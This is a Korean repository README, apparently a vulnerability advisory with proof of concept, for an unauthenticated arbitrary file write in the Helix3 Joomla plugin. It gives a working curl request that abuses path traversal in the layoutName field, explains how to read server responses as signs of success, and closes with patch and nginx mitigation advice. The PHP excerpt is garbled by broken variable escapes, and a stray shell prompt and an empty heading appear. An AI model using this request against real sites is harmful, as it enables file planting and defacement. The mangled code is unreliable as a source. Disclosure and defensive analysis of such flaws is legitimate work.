CVE-2026-49049 취약점 분석: JoomShaper Helix3 (Joomla)의 인증되지 않은 임의 파일 쓰기

이 저장소는 CVE-2026-49049 심각도 취약점에 대한 자료, 기술 분석 및 PoC(Proof of Concept)를 포함하고 있습니다. 이 취약점은 Joomla CMS용 JoomShaper의 구형 템플릿 프레임워크 Helix3(버전 1.0 ~ 3.1.0)에서 발견되었습니다.

이 취약점은 현재 자동화된 봇넷(특히 AntonKill 디페이스 캠페인)에 의해 실제 환경에서 적극적으로 악용되고 있습니다.

🔬 취약점 기술 분석

문제는 Joomla의 시스템 AJAX 핸들러(com_ajax)가 plg_ajax_helix3 플러그인의 onAjaxHelix3() 메서드를 호출하는 데 있습니다. 구성 요소 개발자는 다음을 고려하지 않았습니다:

1. 사용자 인증 확인 누락 (인증 우회)
2. CSRF 토큰 확인 누락
3. layoutName 매개변수 처리 시 경로 필터링 누락 (경로 탐색 검증)

취약한 PHP 코드 로직:

public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 PoC (Proof of Concept)

취약점 검증을 위해 application/x-www-form-urlencoded 콘텐츠 유형의 POST 요청이 사용됩니다. 이 매개변수 패킹 방식은 취약점을 시연하는 데 가장 효과적입니다.

공격 벡터 (cURL 명령):

curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

전송 데이터 상세 분석:

🎯 서버 응답 분석 (검증 신호)

침투 테스트 중 서버는 다양한 유형의 응답을 반환할 수 있습니다. 이를 해석하는 것이 매우 중요합니다:

경우 A: 취약점 성공 (파일 기록됨)

서버 응답:

{"success":true,"message":null,"messages":null,"data":[]}

해석: 플러그인이 취약하며 OS 제한이 없습니다. 파일이 사이트 루트에 성공적으로 생성되었으며 https://target.com에서 접근 가능합니다. 사이트는 즉시 정리 및 격리가 필요합니다.

경우 B: 플러그인은 취약하지만 OS 보호 기능 작동

서버 응답:

{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

해석: 부분적 성공. Helix3 플러그인의 로직이 손상되었습니다. 인증 없이 데이터를 수락하고 (fopen) 파일을 쓰기 위해 열려고 시도했습니다. 그러나 Linux 운영 체제가 이 작업을 차단했습니다. 웹 서버 사용자(예: www-data)가 사이트 루트에 대한 쓰기 권한이 없기 때문입니다.

경우 C: 시스템이 보호됨 (업데이트 또는 제거)

서버 응답: 404 Not Found, 403 Forbidden 상태 또는 빈 응답 []. 해석: 플러그인이 인증 확인이 추가된 안전한 버전(3.1.1+)으로 업데이트되었거나 CMS에서 완전히 제거되었습니다.

🛡 위험 완화 및 제거

1. 업데이트/제거: Helix3를 3.1.1 이상 버전으로 업데이트하세요. 프레임워크를 사용하지 않는 경우 Joomla 관리자 패널을 통해 plg_ajax_helix3 플러그인을 완전히 제거하세요.
2. WAF (Nginx) 수준 보호: 악성 POST 요청을 차단하는 규칙을 추가하세요:
   root@kitploit:~

   if ($request_method = POST) { set $test "P"; }
   if ($arg_plugin = "helix3") { set $test "${test}H"; }
   if ($test = PH) { return 403; }
   

면책 조항: 이 자료는 오직 교육 목적과 합법적인 시스템 보안 감사(침투 테스트)를 위해 제공됩니다. 저자는 제공된 정보의 부적절한 사용에 대해 책임을 지지 않습니다.